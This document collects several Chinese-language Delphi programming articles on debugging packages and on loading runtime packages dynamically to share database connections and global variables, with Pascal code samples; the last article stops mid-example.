Brian Chang
2001/8/31


调试你的包

调试你的包(Debug Your Packages)
李战

摘　要：如何在原程序基础上调试DELPHI的包
关键字：调试，包，Debug，Package
类　别：Delphi & IDE

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

先给你一个惊喜：Borland刚刚发表的DELPHI6已经可以直接调试包了！

再给你一个提醒：千万不要以为DELPHI5就不可以调试包！

---
以前，我曾读到一本讲开发DELPHI元件的好书，写的很精彩，让我受益颇多。不过其中谈到：由于没有办法在源程序基础上调试包中的元件，所以开发元件一定要特别认真仔细的写好元件的代码。的确，用DELPHI5单独打开一个*.DPK文件时，DELPHI的Run(F9)、Step Over(F8)、Track Into(F7)等Debug命令全部无效。自己再想想，DELPHI的IDE又与包文件有着非常密切的关系。在加载了包的IDE运行环境中要调试包本身，似乎有点像逻辑学上的自反悖论。后来，我就一直相信包是不能在源程序基础上调试的。
然而，包是可以直接在DELPHI5的IDE环境内调试原代码的！不但可以调试运行时刻的包(Runtime Package)，而且还可以调试设计时刻包(Designtime Package)！
在一次偶然中，我硬是强行将我的包加入到DELPHI的项目组(Project Group)中。这时，我惊奇地发现运行程序的工具按钮是有效的。当时，我真不敢相信自己的眼睛！特别是有那本权威书籍在我脑海中形成的根深蒂固的印象。
随后的实践证明，只要包文件处在一个项目组中，就可以象调试DLL项目一样调试它。只需要在运行参数(Run Paramenters)中设置相应的主应用程序(Host Application)，即可开始调试。当然，主应用程序一定要是按包编译(Build with runtime packages)的。
为什么会这样呢？
我想，DELPHI的一个项目文件编译之后最终都会形成一个可执行模块，要么是EXE文件，要么是DLL文件。其实，包编译后的BPL文件也是一个DLL文件，一个可执行模块。因此，DPK文件也相当于是一个项目文件。只是，用DELPHI5打开DPK文件时没有被当作项目打开。而在项目组中，DELPHI把每一个加入的项都当作项目来激活。要知道，一个典型的应用系统常常是由EXE、DLL和BPL共同组成。因此，包作为项目加入到项目组中也是合情合理的，DELPHI也因该是这样处理。
要调试一个单独的包，可以这样操作。首先，关闭DELPHI打开的所有项目，即用File\Close All菜单命令。然后，用View\Project Manager菜单命令打开项目管理器。接着，在项目管理器中按鼠标右键，选择Add Existing Project命令。在弹出的打开文件窗口中，应该选择打开*.DPK的文件。找到你要调试的包文件之后，即可将包文件加入当前项目组中。这时，DELPHI的Run(F9)、Step Over(F8)、Track Into(F7)等Debug命令都是有效的。最后，只需要设置主应用程序(Host Application)，即可开始调试包。
如果要调试Designtime Package，或者要调试你开发的元件在IDE环境中的错误，该怎么办呢？很简单，只需要将Host Application设置为Delphi32.exe即可。当然Delphi32.exe的具体位置要看你安装DELPHI的具体目录，典型的是：C:\Program Files\Borland\Delphi5\Bin\目录。这样，你就可随心所欲地调试包在IDE环境下的行为了。不过，不要忘记一定要首先将你的包安装到IDE环境中，否则Delphi32.exe启动时并不会加载未安装的包。
在DELPHI 6中，DPK文件已经完全被当作项目来打开了。DELPHI理当如此处理，虽然太迟，但毕竟还是让我们高兴。迟到的春天阳光似乎更加灿烂......

------摘自《悟透DELPHI》并稍加改编。

李战 2001-6-18，深圳


动态包应用

作者：李维

    相信许多人和我一样，在使用Delphi开发应用系统的时候，一定会想到如何的切割整个应用系统。是把所有的子系统撰写成一个很大(可能会有数M.Bytes的大小)的EXE檔呢？还是应该把每一个模组撰写在不同的EXE檔案之中的好。

    事实上这两种方法都有它们自己的问题。如果是把所有的模组撰写在一个EXE檔案之中的话，那么不但执行檔太大，不易更新和维护。在开发时也不甚方便，因为要让数个人撰写同一支应用程式的确比较麻烦。那么如果我们把每一个模组让不同的程式师撰写成独立的EXE檔案，再由一个主程式分别启动不同的EXE檔不就好了吗？没错这是许多人使用的方法（包括我在内），但是这样切割应用系统有一个问题，那就是如果每一个独立的EXE模组，都需要使用资料库的话，那么当主程式启动个别的EXE檔案时，每一个EXE都必须重新再连结到资料库，开启资料库表格，再取得它需要的资料。这个过程通常都需要不少的时间。例如连结到Oracle并且开启一个资料库表格的话，通常需要五到十秒。如果EXE开启的资料库表格或是查询比较多的话，那么主程式在启动独立的EXE檔案时，通常需要30几秒到一分钟不等。这对于许多的使用者而言是非常不方便的。这样的状状甚至会造成你的专案无法交货（例如使用者要求在五秒之内EXE程式的画面必须出现）。除此之外，每一个独立的EXE又使用了额外的连结以便存取资料库，造成了资源的浪费。面对这种二难的局面，你现在的选择是什么呢？

    事实上这个问题在我的心中也盘旋了许久。因为这一是我想要解决的问题，只是由于工作的繁忙让我一直无法花时间解决它。最近在手上的事情告一段落之后，又接到许多朋友的询问，所以决定花一些时间试着解决这个重要的问题。

    增加应用程式载入的效率

    如果我们仔细的思考这个问题的话，就可以发现问题出在每一支独立的EXE都需要重复的连结资料库所至。所以如果我们可以让连结到资料库的次数减少的话，不就可以加快应用程式载入的效率了吗？

这个想法当然很简单，但是问题是要如何的减少应用程式连结资料库的次数呢？事实上这个想法也很简单，最好是让应用系统连结资料库的次数变成一次，如此一来除了主程式需要连结资料库之外，其他的应用模组都能够公同使用由主程式载入的资料模组的话，那么一切问题不都解决了吗？请注意，在这里我所说的其他模组代表独立的EXE或是其他形式的应用程式，而不是指在单一一个EXE之中不同的表格或是子系统。

我们可以使用图一来表示这个想法。在这个构想中，我希望由应用主程式先负责载入公用的资料模组。在这个资料模组之中有其他子系统需要使用各个资料库表格，如此一来当主程式启动其他的子系统时，就不需要再让每一个子系统再连结，开启资料库表格了。

    当这样还有一些设计上的问题，我们稍后再回来讨论这个问题，现在先我们看看如何的把这个构想实做出来，并且测试一下实际的结果是不是真的比较有效率。

    要实做这个构想，我们必须想办法让公用的资料模组能够让每一个子系统存取到，并且不再需要每一个子系统都分别的和资料库建立一个连结的Session。我的第一个想法是使用DLL来解决这个问题。但是事实上使用DLL无法解决这个问题。在我花费了许多的时间之后，使用DLL仍然有会有AccessViolation的错误。我也曾在网路上搜寻相关的问题或是资料，我在宝兰的DiscussForum中也看到有人提出类似的问题，但是似乎都没有人确实的回答这个问题。我也想过干脆拿出我的Soft-Ice和Bounds-Checker看看为什么使用DLLAssembly打交道，这实在不是件好玩的事情。正打算放弃之时，突然想到Delphi3.0之中的Package不正是解决这个问题的好方法吗？于是我就决定试试看，果然一击中地，顺利的解决了这个问题。当然，要知道为什么使用Package可以解决这个问题，你需要知道Package和DLL的异同。

DLL和Package

    为什么在我一开始使用DLL时无法解决多个模组共用一个资料模组DLL的问题呢？这主要是因为在Win95/NT中当每一个模组载入DLL时，对于每一个DLL之中的全域变数而言，每一个模组都会有一份独立的变数。这是什么意思呢？我们可以使用图二来说明。

图 二 Win 95/NT 中 全 域 变 数 和 模 组 的 关 系

    当图二中的模组一和模组二分别的载入它们共用的DLL时，虽然在这个共用的DLL中有一个全域变数gAccount。但是模组一和模型二会分别的拥有一个gAccount变数。这也就是说模组一对于gAccount变数数值所做的修改并不会影响模组二中的gAccount变数数值。在Wn95/NT中的DLL行为是和Win3.x不同的，因为在Win3.x中所有的模组都使是共用一份DLL中的全域变数。

    由于Win95/NT中DLL全域变数的这种特性，所以当你想把资料模组撰写在DLL之中让多个模组共同使用时，问题就来了。因为在这种情形下，每一个模组都会有一份它自己的资料模组。所以当每一个应用程式模组载入资料模组的DLL时，它仍然会连结资料库一次，所以你并无法减少连结资料库的次数。

    那么使用Package有什么不同吗？在回答这个问题之前，请你先回想一下。在Delphi3.x中它允许你使用Package的功能来编译你的应用程式，如图三所示。

图 三 Delphi 3.x 允 许 你 使 用Package 的 功 能 编 译 应 用 程序

    使用Package编译应用程式的好处除了可以减少应用程式的大小之外，事实上Package还有一个很重要的特性，那就是Package允许多个模组共用所有的全域变数。

    我们可以使用图四来说明Package的特性。请你想一想，当你的应用程式使用Package的功能时，事实上它必须载入许多不同的Packages。不管你的应用程式是否使用了全域变数Application，许多的Packages都会使用Application这个全域变数。由于全域变数Application是存在于VCL.DPL之中，所以如果Application会对于每一个载入它的模组都产生一份独立的全域变数的话，那么整个应用程式便会产生不正确的结果。　　所以由这个说明我们可以知道，在图四中的Application和Screen等全域变数对于所有使用它的模组而言一定是只有一份全域变数。

图 四 Package 中 全 域 变 数 的 特 性

    事实上在Forms.PAS之中的程式码也透露着这些蛛丝马迹。例如下面便是Forms.PAS宣告Application和Screen这二个变数的程式码。从它们的注释中我们可以清楚的看到，它们是全域物件，即使是编译成Package时也是一样。

{ Global objects }

var

Application: TApplication

Screen: TScreen

Ctl3DBtnWndProc: Pointer = nil;

    由于Package能够自动的将其中的全域变数编译成所有使用它的模组都共用一份的特性。所以我们就可以使用这个特性重新的建构图一的架构成为图五的形式。

图 五 改 良 过 的 公 用 资 料 模 组 示 意 图

    在图五中我们可以把所有模组需要共同使用的资料模组撰写在一个Package之中，然后再把每一个子系统撰写成独立的Package。只有主程式是EXE，它负责载入共用的资料模组，以及在使用者启动每一个子系统时再载入相对应的子系统Package。

    使用这种架构有许多的好处。第一个便是共用的资料模组只需要载入一次即可。而这个好处便是我们前面讨论需要解决的问题。如此一来在每一个子系统载入时便可以加快其执行的速度。第二个好处是在开发这整个系统时，我们仍然可以让不同的程式师负责发展不同的子系统，这样可以就可以解决前面讨论的分工的问题。此外如果一个子系统很庞大的话，你也可以再次的切割这个子系统成为更多的小系统。例如你可以再把图五中的会计子系统Package再分为一般会计，成本会计，和管理会计等不同的Package。第三个好处是使用Package就像是使用DLL一样，主程式可以在需要的时候才载入一个Package，在使用完毕之后可以立刻的释放这个Package，这样可以让你对于系统资源有更好的控制能力。最后一个好处是使用Package可以让你发展出Plug-and-Play的模组，当然这需要藉由结合虚拟介面或是虚拟类别的功能。藉由使用Package和虚拟介面的能力，你可以任意的替换应用系统之中的模组而不会影响系统的执行。这个功能对于许多使用Delphi开发套装软体的程式师来说是一个非常重要的功能。

    现在你应该对于DLL和Package的差异有了基本的瞭解，现在是让我们看看如何使用Package的特性解决我们面对的问题的时候了。下一小节就让我们实际的撰写一个范例来证明Package对于全域变数的处理方式以及使用Package的确能够加快应用程式的载入速度。

实际的范例

    由于平日我大部份的时间都是使用Oracle，MSSQLServer和InterBase(许多的读者都询问我为什么不使用Sybase或是Informix做为范例说明，这实在是因为我比较少使用它们，并没有其他的意思，所以请使用Sybase，Informix和DB2的读者见谅。不过我相信我们讨论的东西都可以使用在这些资料库之上)。在这三个资料库中，Oracle的连结速度一直都是令我非常头大的，因为在这三者之中，Orcale连结资料库和开启资料库表格的时间最久。所以本节的范例就以Oracle资料库为范例，看看使用了Package之后会不会有任何明显的改善。

首先请你先建立一个Package，并且在这个Package之中产生一个资料模组，并且使用Database和Query元件连结到Oracle的资料库如图六所示。

圖 六 存 在 於 Package 之 中 的 資 料
模 組 使 用 Database 連 結到 Oracle

    在成功的編譯了這個Package之後，再讓我們設計範例程式的主表格如圖七一樣。

图 七 使 用 公 用 资 料 模 组 的 主 表 格

    在主表格中有一个DataSource元件。这个DataSource组件会在资料模组的Package载入之后，连结到资料模组之中的Query元件以便显示Oracle资料库之中的资料。现在剩下的工作便是撰写程式码载入资料模组Package和显示资料库的资料。

    首先在主表格启动时，它必须在FormActivate事件处理函数中载入资料模组Package。它呼叫LoaddbPackage这个程序。

procedure TMainForm.FormActivate(Sender: TObject);

begin

LoaddbPackage;

end;

    LoaddbPackage是真正负责载入Package的程序。它在一个tryexcept程式区块中呼叫Delphi的LoadPackge函数载入指定名称的Package。这个函数在成功执行后会回传一个Package的handle值。我们的程式必须储存这个handle值以便稍后使用它，并且在最后藉由这个handle值释放载入的Package。如果呼叫LoadPackage成功的话，程式就呼叫LoadDataModule从Package中取得前面介绍的资料模组，否则在except程式区块中ShowMessage会显示发生错误的原因。

procedure TMainForm.LoaddbPackage;

begin //我们必须加载数据库Package以便连结到数据库

try

aDBConnect := LoadPackage(DBPackages);

LoadDataModule;

except on E : Exception do begin

MessageBeep(Word(-1));

ShowMessage(E.Message);

Application.Terminate;

end;

end;

end;

    在LoadDataModule中我们必须先从资料模组Package之中取得资料模组的真正Meta-Class名称，然后使用这个Meta-Class建立真正的资料模组物件。所以LoadDataModule一开始会呼叫GetClass向Windows取得特定类别名称的Meta-Class。而GetClass传入的参数『TConcreteDataModule』，便是前面我们建立的资料模组的真正的类别名称。

    由于一个独立的EXE要能够取得Package之中的Meta-Class必须使用指定的类别名称。所以当你在Package中撰写任何的类别时，你必须确定这个类别名称在所有Delphi或是应用程式载入的Package中都是唯一的。否则如果有在所有载入的Pakcage中有相同的类别名称时，Delphi或是应用程式会产生一个例外。

    在成功的从Package取得了Meta-Class之后，你就必须使用这个Meta-Class产生真正的资料模组物件。请注意在下面的程式码中，我们使用了强制型态转换把TComponentClass的物件转换为TDataModule的物件。

    在建立了TDataModule物件之后，我们就可以一一的搜寻资料模组之中的元件并且找到我们需要的Query元件，并且把主表格中DataSource的DataSet特性值设定为找到的Query元件。

procedure TMainForm.LoadDataModule;

var

iCounter : Integer;

begin

{Note that TApplication "owns" this form and thus it must be freed priorto unloading the package }

dataModuleClass := GetClass('TConcreteDataModule');

if dataModuleClass <> nil then

begin

admGlobal :=TDataModule(TComponentClass(dataModuleClass).Create(Application));

for iCounter := 0 to admGlobal.ComponentCount - 1 do begin

if UpperCase(admGlobal.Components[iCounter].ClassName) = 'TQUERY' then begin

aQuery := TQuery(admGlobal.Components[iCounter]);

DataSource1.DataSet := aQuery;

break;

end;

end;

end;

end;

    由于在上面的程式码中我们使用了GetClass以取得特定名称的Meta-Class，所以你的资料模组Package必须在它的initialization程式区块中先注册它自己。下面的程式码便是资料模组Package注册的程式码。

initialization

RegisterClass(TConcreteDataModule);

    现在就可以执行范例程式了，在主程式执行之后，你可以看到类似图八的画面。从主表格中我们可以证明的确可以藉由资料模组Package存取到Oracle的资料。

图八主表格执行的画面，它果然可以藉由资料模组Package存取资料

    到这里为止我们只是证明了使用资料模组Package可以让应用程式正确的执行，但是主程序启动的时间和一般独立的EXE没有什么不同。但是接下来的情形就比较有趣了。因为我们要藉由接下来的程式码来证明使用Package可以大幅加快子系统的载入速度。

    在主表格中有一个按钮『载入第二个UIPackage』。这个按钮的功能就是模拟载入子系统的功能。当使用者点选这个按钮之后，范例程式会载入另外一个只有使用者介面的Package，而且这个Package必须再使用刚才载入的资料模组Package来显示资料。藉由这个模拟的子系统功能，我们要证明资料模组Package可以在不同的模组中共用而且可以加快模组启动的时间。

    这个按钮的OnClick事件处理函数和主表格的FormActvate事件处理函数非常的类似，它也是呼叫LoadUIPackage程序以便载入一个使用者介面Package。

procedure TMainForm.Button1Click(Sender: TObject);

begin

LoadUIPackage;

end;

    LoadUIPackage和LoaddbPackage几乎一模一样，它也是呼叫Delphi的LoadPackage和GetClass载入Package，取得使用者介面表格的Meta-Class，建立使用者介面表格对象，搜寻资料模组中的Query元件，然后显示资料库的资料。

procedure TMainForm.LoadUIPackage;

begin //我们必须加载使用者接口Package以便连结到数据库

try

UIConnect := LoadPackage(UIPackages);

LoadUIModule;

excepton E : Exception do

begin

MessageBeep(Word(-1));

ShowMessage(E.Message);

Application.Terminate;

end;

end;

end;

procedure TMainForm.LoadUIModule;

var iCounter : Integer;

aDS : TDataSource;

begin

{Note that TApplication "owns" this form and thus it must be freed priorto unloading the package }

pkgModuleClass := GetClass('TUIPackageForm');

if pkgModuleClass <> nil then begin

aPkgForm := TCustomForm(TComponentClass(pkgModuleClass).Create (Application));

for iCounter := 0 to aPkgForm.ComponentCount - 1 do begin

if UpperCase(aPkgForm.Components[iCounter].ClassName) = 'TDATASOURCE' then

begin

aDS := TDataSource(aPkgForm.Components[iCounter]);

aDS.DataSet := aQuery;

break;

end;

end;

aPkgForm.Visible := True;

end;

end;

    当我们完成载入使用者介面Package的功能，再执行范例程式并且按下『载入第二个UIPackage』按钮之后，可以看到类似图九的画面。

图 九 第 二 个 使 用 者 介 面 Package 启 动 的 画 面

    令人惊讶的是，使用者介面Package之中的表格会立刻的显示出来，几乎完全不需要等待。表格一是我使用这个范例程式和使用二个独立的EXE应用程式比较的结果。从表格中你可以看到使用Package载入子系统比使用EXE载入子系统整整快了十倍。

   使用独立的EXE应用程式 使用EXE加Package的功能

------------------------------------------------------------------

主程式启动时间 20 20

其余模组启动时间 20 2

------------------------------------------------------------------

    从上面的结果我们就可以知道使用Package的好处，它不但可以让我们共用资源，也能够改善子系统启动的时间。

    当然应用程式在使用完毕之后，它必须释放动态载入的Package以便释放系统资源。在主表格的FormClose事件处理函数中它呼叫了UnLoadAddInPackage程序并且传递Package的handle值做为参数以便释放Package。

procedure TMainForm.FormClose(Sender: TObject; var Action: TCloseAction);

begin

UnLoadAddInPackage(dbConnect);

UnLoadAddInPackage(UIConnect);

end;

  UnLoadAddInPackage先从全域物件Application中找到载入的资料模组和使用者介面表格，先释放这些动态载入，建立的物件，切断它们和Application和关系，再利用Package的handle值解除Package对Windows的注册，最后再呼叫UnLoadPackage释放载入到记忆体之中的Package。

procedure UnLoadAddInPackage(Module: THandle);

var i: Integer;

M: TMemoryBasicInformation;

begin

for i := Application.ComponentCount - 1 downto 0 do begin

VirtualQuery(GetClass(Application.Components[i].ClassName), M, SizeOf(M));

if (Module = 0) or (HMODULE(M.AllocationBase) = Module) then

begin

ShowMessage(Application.Components[i].ClassName);

Application.Components[i].Free;

end;

end;

UnRegisterModuleClasses(Module);

UnLoadPackage(Module);

end;

    当你结束主程式时，你应该会看到类似图十一和图十二的画面。这些画面证明了当主程式结束时，它能够正确的释放所有载入的Package以释放系统资源。

    上面的范例程式证明了使用Package的确能够公用Package以及Package之中的全域资料，此外也能够帮助子系统加快载入和启动的时间。但是主程式在启动时仍然需要载入资料模组Package，连结资料库。但是对于许多的使用者而言，他们仍然会希望让主程式也能够很快的出现。要达成这个目标，你还需要藉助Delphi执行绪的能力。

加入多执行绪载入的能力

    在上一节中你看到了使用Package的确可以大幅加快子系统载入的时间。但是我们在载入主程式时仍然需要20到30秒的时间，因为主程式还是需要载入共用的资料模组Package。但是对于许多案子来说，使用者经常会要求程式必须在10秒或是5秒之内第一个画面就必须出现。那么对于这种要求我们可不可以达到呢？

    如果你想到Delphi中的多工执行绪功能Tthread物件的话，那么答案就出现了。我们只需要在主程序第一个表格出现之时，启动一个多执行绪物件让它负责载入公用的资料模组不就可以了吗？如此一来主表格可以立刻的出现在萤幕之上，而让执行绪在背景继续的载入资料模组。

    为了要加入多执行绪的能力，你必须修改上一节的范例。在范例程式的FormActivate事件处理函数我们不再直接呼叫LoaddbPackage，而是建立一个Tthread物件，然后由这个Tthread物件真正的载入资料模组Package。

procedure TMainForm.FormActivate(Sender: TObject);

begin

DBThread := TOracleThread.Create(True);

aDBThread.OnTerminate := dbThreadTerminated;

aDBThread.Resume;

end;

    在TOracleThread的Execute虚拟方法中，它呼叫了LoaddbPackage载入资料模组。在这里有一点非常重要的地方便是当你在执行绪中载入Package时，所有的handle值和物件参考值必须储存在主执行绪的变数之中。否则在这个执行绪执行完毕之后，这些handle值和物件参考值都会成为无效的数值。所以在下面的程式码中你可以看到执行绪在呼叫LoadPackage载入Package时会把LoadPackage回传的数值储存在主表格的变数之中。

procedure TOracleThread.Execute;
begin

{ Place thread code here }
LoaddbPackage;

end;

procedure TOracleThread.LoaddbPackage;
begin

//我们必须加载数据库Package以便连结到数据库
try

MainForm.aDBConnect := LoadPackage(DBPackages);
LoadDataModule;

except

on E : Exception do
begin

MessageBeep(Word(-1));
ShowMessage(E.Message);
Application.Terminate;

end;

end;

end;

procedure TOracleThread.LoadDataModule;
var

iCounter : Integer;

begin

{ Note that TApplication "owns" this form and thus it must be freed prior
to unloading the package }
dataModuleClass := GetClass('TConcreteDataModule');
if dataModuleClass <> nil then
begin

MainForm. admGlobal:= TDataModule(TComponentClass(dataModuleClass).Create(Application));
end;

end;

    当我们修改完范例程式之后，就可以试着再次的执行它，看看主程式的载入时间是不是有任何的改善。下面的表格和图形显示出当我们使用了执行绪的功能之后，第一支主程式启动的时间果然大幅减少为3秒钟。比起原来的20秒果然改善了许多，真是令人印象深刻。

------------------------------------------------------------------

   使用独立的EXE应用程式 使用EXE加Package的功能

------------------------------------------------------------------

主程式启动时间 20 3

其余模组启动时间 20 2

------------------------------------------------------------------

    现在使用了执行绪功能之后，不但每一个子系统启动的时间加快了许多，主程式更是可以在瞬间出现，这样的执行速度应该是可以让大部份的人满意了吧。

应用程式，企业法则(企业物件)的切割

    从上面的范例中我们可以知道，善用Delphi的Package和执行绪的功能可以让我们大幅的改善应用程式载入和执行的效率。但是上面的范例只是假设在很简单的状态之下。在许多实际的案子中，我们可能无法把所有的资料集元件放在一个单一的资料模组之中。在这种情形下，你可以把所有的资料集元件分别撰写在不同的资料模组Package之中，并且在每一个子系统需要特定的资料模组Package时再载入它们。

    当我们从这个角度观察应用系统时，可以发现如何的切割资料集到不同的资料模组中似乎是一件非常重要的事情。因为这不但牵涉到应用系统执行的效率，更和系统资源的善用有很大的关系。事实上当我们开发N-Tier的应用系统时，你也会发现如何切割应用程式和企业物件对整个应用系统的架构有深远的影响。

    所以应用程式和企业物件的切割似乎在未来新一代应用系统的开发中占有重要的地位。当然要能够适当，有效率的切割企业物件需要SA在分析系统时好好的做分析的工作，更需要SD能够通盘的设计整个应用系统运作的架构。

    如果我们结合Delphi强大的N-Tier，Package以及执行绪功能的话，就可以使用如下的图形来表示。

图 十 四 N-Tier ， Package 和 执 行 绪 结 合 使 用 的 架 构

    请注意在图十四中说明了并不是只有资料模组可以存在于Package之中，我们也可以把应用逻辑或是企业物件封装在Package之中或是ActiveX之中，于应用程式需要时再载入执行它们。最后由于应用程式伺服器在大多数的情形下是执行在WindowsNTServer之中，所以我们可以更有效率的使用作业系统的执行绪能力来载入应用程式需要的Package。

更具威力的功能

    就像我在前面说明的，我无法在一篇文章中为各位介绍所有有关Package的使用方法和各种功能。使用Package更高阶和更具威力的功能应该是和虚拟类别结合一起使用。此外Delphi3也提供了许多的程序和函数能够让你检查每一个Package使用了什么其他的Package，执行时期函式馆和全域函式。

    结合Package和虚拟类别不但能够让你发展出Plug-and-Play的模组功能，更能够让你完全的控制Package中所有的物件和变数。更能够让你发展出一些自动化的工具来帮助你开发你的应用系统。我计划在以后的文章中再继续和各位讨论这些高等的主题。

结论

    在本篇文章中我们看到了如何的使用Delphi3.0中的Package功能来解决应用载入时连结资料库效率的问题。许多人对于Package的认识只是它可以减少应用程式的檔案大小，除此之外似乎就没有什么其他的瞭解了。但是这篇文章就告诉你如何的发掘Package更有威力的一个应用。使用Packages可以立刻的降低模组启动需要的时间。

    但是我们在这篇文章中就讨论了所有有关Package的功能来吗？那当然不，还需要许多更有威力的功能我并未讨论。例如你如果能够更进一步的结合Package，参考计数值以及抽象虚拟类别(AbstractVirtualClass)或是抽象介面的话，那么你就可以完全的控制Package中内含的类别以及表格，而不需要一定是Delphi内定的类别和表格。这样一来你可以设计一个Plug-and-Play的Package介面，以便让主程式能够载入任意的Package，存取它功能。此外你也可以取得Package中许多重要的资讯，例如这个Package输出了那些的方法，使用了那些其他的Package？Package和initialize以及finalization的关系等，也许有机会再让我们讨论这些更有意思的主题。

    事实上从这篇文章中就可以出Delphi的多么的好用。如果今天你是使用VisualBasic或是PowerBuilder的话，那么抱歉，你绝对无法解决这个问题，也许再等到下一个VisualBasic或是PowerBuilder版本的话，就有『可能』解决这个问题吧。但是Delphi就不同了，它除了可以让你撰写一般的应用系统，但是在遇到特殊的情形时，Delphi也可以在短暂的时间内超越工具目前功能的限制，而解决这些问题，谁是比较好的主从架构开发工具就不言自明了。

-------------------------------------

   Delphi中Package是一件非常强大的工具，用的好可以起到非常清晰的
划分程序结构的作用。因为他内建描述信息，可以和当前代码无缝集成起来，
可以保护包括类在内的任何元素，相当于VC中的MFC Extension DLL的作用。
但是一直以来的文章都只介绍静态连接的方法，这其实限制了Package的使用
因为静态连接的Package失去了其灵活性，可配置性等等。至于通过函数入口
方式访问，实在是大材小用，那不如直接用DLL还方便一些。
   如何动态载入Package，使用其中的类、函数、变量等等？起始说穿了很
简单，就是做一个代理包。因为在一个Delphi程序中，每个unit只能存在
一份，否则发生冲突。要动态载入包，又得取得其中信息，又不能直接uses
包含信息的unit（否则引起冲突），解决办法是另外建一个代理包来作为桥梁
传递信息。下面是一个简单的例子，主程序使用到两个包，DemoPak包中有
一个简单的Form；RegPak是所谓的代理包，起到注册信息的作用。
主程序对RegPak静态使用（在Project Options里面设置了），对DemoPak
动态载入（通过LoadPackage），而DemoPak依赖于RegPak（requires)，
并在初始化时向代理包RegPak注册自己的可用类，这里举例注册类信息，
你可以方便的改成注册其他信息

unit FormReg;

interface

uses
  Classes, SysUtils, Forms, Contnrs;

type
  TFormClass = class of TForm;

procedure RegisterFormClass(const AName: string; const AFormClass: TFormClass);
procedure UnregisterFormClass(const AName: string);
function FindFormClass(const AName: string): TFormClass;

implementation

var
  g_lstNames: TStringList;
  g_lstForms: TClassList;

procedure RegisterFormClass(const AName: string; const AFormClass: TFormClass);
begin
  g_lstNames.Add(AName);
  g_lstForms.Add(AFormClass);
end;

procedure UnregisterFormClass(const AName: string);
var
  Index: Integer;
begin
  Index := g_lstNames.IndexOf(AName);
  if Index <> -1 then
  begin
    g_lstNames.Delete(Index);
    g_lstForms.Delete(Index);
  end;
end;

function FindFormClass(const AName: string): TFormClass;
var
  I: Integer;
begin
  for I := 0 to g_lstNames.Count - 1 do
  begin
    if g_lstNames[I] = AName then
    begin
      Result := TFormClass(g_lstForms.Items[I]);
      Exit;
    end;
  end;
  Result := nil;
end;

initialization
  g_lstNames := TStringList.Create;
  g_lstForms := TClassList.Create;

finalization
  FreeAndNil(g_lstForms);
  FreeAndNil(g_lstNames);

end.

   以上是RegPak的主要代码，因为举例，代码很简陋。主要思想就是保存注册信息，
提供查询方法。让我们看看在DemoPak中的使用

unit AboutForm;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TfrmAbout = class(TForm)
    lblAbout: TLabel;
  private
  public
  end;

var
  frmAbout: TfrmAbout;

implementation

uses FormReg;

{$R *.dfm}

initialization
  RegisterFormClass(TfrmAbout.ClassName, TfrmAbout);

finalization
  UnregisterFormClass(TfrmAbout.ClassName);

end.

   在初始化时向RegPak的FormReg单元提交自己的类信息，因为每个Package在载入时
无论动态静态都会自动初始化，而RegPak被主程序静态引用，肯定已经初始化，所以直接
注册即可，非常简单。最后看看主程序中的使用

uses
  FormReg;

procedure TfrmMain.btnAboutClick(Sender: TObject);
var
  hModule: THandle;
begin
  hModule := LoadPackage('DemoPak.bpl');
  try
    with FindFormClass('TfrmAbout').Create(nil) do
    try
      ShowModal;
    finally
      Free;
    end;
  finally
    UnloadPackage(hModule);
  end;
end;

    动态载入需要的包，查询需要的类的信息，使用之，最后卸载包。

    很简单吧 :) 起始很多东西都没有什么技术难度的，关键看你想不想得到 :)

不知道各位用Delphi写数据库程序的朋友有没有碰到过这样的问题：写出来的
程序体积太庞大！我写的上一个项目中可执行文件竟然达到4.3M！很可怕的体积！
这样不仅分发程序比较困难，而且维护也很难：程序给客户后发现界面上某个标签
的字写错了，然后不得不把这样一个巨无霸重新编译，重新发给客户。
想到分割程序，用什么呢？COM/MTS？在小项目中太得不偿失了！用Dll？如果
是做非数据库程序还可以，如果做数据库程序就有麻烦了：每个Dll都会在自己独立
的对话中和数据库连接，造成资源的极大浪费，而且还有全局变量的问题。在当我
快绝望的时候看到了李维的一篇有关package的文章（关心package的朋友应该都看
过那篇文章），但那篇文章里写的不是很清楚，看了还有些不明白。大富翁上也有
很多朋友讨论，但都比较零碎，上一段时间结合网上查到的文章，还有自己一些摸索，
终于基本上搞清楚了package的一些用法，现在贴出来和大家交流。

package的使用和dll类似，有静态和动态调用两种方法。

我们用一个简单的数据库程序来说明，假设工程组成为：

ClassMgr.dpr--------------------工程文件
uGlobal.pas---------------------全局变量单元
frmDM.dfm(uDM.pas)--------------数据模块
frmMain.dfm(uMain.pas)----------主窗体
frmStudent.dfm(uStudent.pas)----学生档案窗体
frmScroe.dfm(uScore.pas)--------成绩输入窗体
frmQuery.dfm(uQuery.pas)--------成绩查询窗体

这里面的一些uses关系就不说了，大家应该都很清楚吧！

1、静态方法

现在的目标是把每个功能窗体放进一个包中，以后当需要修改相应的模块时只要发
布相应的包即可。为了达到这个目的，我们需要添加四个包：

basic.dpk
Contains: uDM.pas; uGlobal.pas
student.dpk
Contains: uStudent.pas
scroe.dpk
Contains: uScord.pas
query.dpk
Contains: uQuery.pas

因为所有的数据窗体都需要引用数据模块(uDM.pas)和全局变量(uGlobal.pas)单元，
所以我们把uGlobal.pas和uDM.pas放进basic.dpk中，至于为什么这么做我们等一下
再说。

在ClassMgr.dpr的Options中修改属性，使它Build with runtime packages，
package的列表为：
basic.bpl
student.bpl
scroe.bpl
query.bpl

另外，在student.dpk, scroe.dpk, query.dpk的Requires中添加basic.bpl；
basic.dpk的Requires中添加
vcl50.bpl
vcldb50.bpl
vclado50.bpl(假设用ADO连接)

接下来就是编译包和可执行文件，这里需要注意编译的顺序，正确的编译顺序应该为：
basic.bpl -> (student.dpk, scrod.dpk, query.dpk) -> Classmgr.dpr

编译完后看一下，classmgr.exe的体积是不是小很多了？差不多只用100k左右，因为
其实里面只包含了主窗体。每个bpl文件的大小也差不多100k左右(具体视代码规模)。

[red][b]这里需要额外说明的是：[/b][/red]
在主窗体frmMain中也要引用uDM, uGlobal等单元，但是因为已经Build with相应
的包了，所以Delphi只会编译相应的声明，而代码的实现部分在相应的包里。

2、动态方法

我们还是拿上面的例子

在这之前需要将每个窗体单元（主窗体除外）作一些修改：
即在每个窗体单元的Initialization部分注册相应的窗体类。
代码例子如下：
initialization
RegisterClass(TfrmStudent);
finalization
UnRegisterClass(TfrmStudent);
end.

然后在主窗体需要调用该窗体的地方改成下面的方式：
procedure TfrmMain.btStudentClick(Sender: TObject);
var
h: HMODULE;
